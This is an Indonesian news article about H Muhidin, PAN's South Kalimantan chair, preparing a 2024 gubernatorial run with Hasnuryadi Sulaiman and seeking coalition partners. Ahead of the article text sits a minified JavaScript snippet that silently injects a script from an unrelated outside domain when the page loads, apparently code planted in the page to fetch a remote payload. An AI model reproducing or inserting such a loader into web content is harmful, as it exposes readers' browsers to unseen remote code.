(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

H Muhidin Siap Lamar Semua Parpol, Incar Cagub Kalsel Gandeng Hasnur

KANALKALIMANTAN.COM, BANJARMASIN – Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan Selatan, H Muhidin untuk maju sebagai bakal calon Gubernur Kalsel di Pilkada 2024 semakin menguat.

Teranyar lelaki yang saat ini masih menjabat sebagai Wakil Gubernur Kalsel 2020-2024 itu kembali menyatakan kesiapan maju pada kontestasi Pilgub Kalsel 2024.

Bahkan H Muhidin secara terang-terangan mengatakan menggaet Hasnuryadi Sulaiman sebagai wakilnya. Dengan modal awal telah mendapatkan restu dari sejumlah tokoh di Kalsel.

“Insyaallah kita maju (bakal calon Gubernur), sudah mendapat restu dari pak Haji Isam (H Syamsudin Arsyad), dan kemungkinan beberapa tokoh terutama tokoh di Binuang, kami berpasangan dengan Hasnur, insyaallah,” kata H Muhidin usai mengikuti rapat paripurna di DPRD Kalsel, Senin (6/5/2023) siang,

Namun, sebagai partai yang hanya mendapatakn 6 kursi DPRD Provinsi pada Pemilu 2024, PAN Kalsel masih harus berkoalisi dengan partai politik (parpol) lain untuk mengusung pasangan bakal calon Gubernur dan Wakil Gubernur.

Diketahui ambang batas parpol mengusung pasangan calon minimal memenuhi 20% kursi, dan jika dikalkulasikan dengan 55 kursi DPRD Kalsel berarti syarat pengusungan pasangan calon minimal 11 kursi.

Itu artinya, PAN Kalsel masih perlu mencari 5 kursi tambahan untuk mengusung calon Gubernur dan Wakil Gubernur pada Pilkada Kalsel 2024.

Mantan Wali Kota Banjarmasin ini pun optimis harus mendapatkan kursi tambahan untuk bisa maju. Dimana ia mengaku akan membangun komunikasi politik dengan parpol lain, caranya yaitu dengan mengambil formulir pendaftaran calon kepala daerah yang dibuka setiap parpol.

“Jadi semua partai akan kami mengambil formulir, PKB, Nasdem, PKS, Gerindra, Golkar pun kami minta juga,” katanya.

Sebelumnya H Muhidin dan Hasnur melakukan silaturahmi dengan crazy rich Tanah Air dari Kabupaten Tanah Bumbu H Syamsudin Arsyad alias Haji Isam pada Selasa (23/4/2024) lalu.

Pertemuan yang berlangsung di Jakarta itu pun diabadikan dalam bentuk foto. Posisi Haji Isam berada di tengah-tengah sambil menggenggam tangan Muhidin dan Hasnur.

Wakil Ketua Umum DPW PAN Kalsel, Afrizal membeberkan, dalam pertemuan itu dibahas langkah politik menghadapi Pemilihan Gubernur dan Wakil Gubernur Kalsel 2024. Ia mengatakan H Muhidin dan Hasnur telah mendapatkan restu dari Haji Isam untuk maju pada kontestasi tersebut.

“Alhamdulillah Haji Muhidin dan pak Hasnuryadi mendapatkan dukungan dan restu dari pak Haji Isam, untuk didorong agar maju sebagai calon Gubernur dan Wakil Gubernur Kalimantan Selatan,” kata Afrizal yang turut hadir dalam pertemuan tersebut.

Anggota DPRD Kota Banjarmasin ini juga membeberkan jika pada pertemuan itu, Haji Isam melihat H Muhidin dan Hasnur mempunyai banyak kecocokan. Apalagi menurut Afrizal keduanya juga dikenal dekat dengan para ulama dan peduli terhadap kehidupan sosial masyarakat.

“Beliau (Haji Isam) melihat pasangan Haji Muhidin dan Hansur ini banyak kecocokan, yang mana kecocokan ini diharapkan dapat membawa kebaikan bagi pemerintah Kalimantan Selatan kedepan,” sebutnya.

Diketahui H Muhidin saat ini masih mejabat sebagai Wakil Gubernur Kalsel periode 2020-2024, ia terpilih pada Pilkada 2020 lalu berdampingan dengan H Sahbirin Noor. Belakangan nama Muhidin muncul diurutan teratas hasil survei LSPP sebagai kandidat bakal calon Gubernur Kalsel pada Pilkada 2024.

Sementara Hasnur diketahui pada Pemilu 2024 lalu kembali meraih kursi Anggota DPR RI Dapil Kalsel II periode 2024-2029. Anak dari almarhum H A Sulaiman HB ini juga dikenal luas sebagai CEO Barito Putra.

Selain Muhidin dan Hasnur, beberapa nama juga muncul sebagai tokoh potensial yang akan bertarung pada kontestasi Pilgub Kalsel 2024. Mereka bukan hanya tokoh dari partai politik, melainkan juga ada dari kalangan birokrat.

Salah satu nama diantara Rifqinizamy Karsayuda yang belum lama tadi memutuskan hijrah ke partai NasDem. Caleg terpilih DPR RI Dapil Kalsel 1 ini belakangan melalui akun media sosialnya sering memberikan kode untuk maju sebagai bakal calon Gubernur Kalsel.

Berikutnya nama Hj Raudhatul Jannah alias Acil Odah juga semakin digaungkan untuk bertarung pada kontestasi Pilkada Kalsel 2024.

Meski tidak memiliki KTA Golkar dan berstatus ASN, Ketua TP PKK Provinsi Kalsel sekaligus Kepala Dinas Kesehatan Provinsi Kalsel ini belakangan masuk dalam bursa calon Gubernur dari partai Golkar. Bahkan ia disebut berada diurutan teratas survei internal partai Golkar Kalsel.

Selain nama-nama diatas, nama Wali Kota Banjarmasin Ibnu Sina, Bupati Tanah Bumbu Zairullah Azhar, hingga Anggota DPRD Kalsel Rosehan NB juga mencuatnya setelah muncul pada hasil survei LSPP untuk harapan calon Gubernur Kalsel periode 2024-2029. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie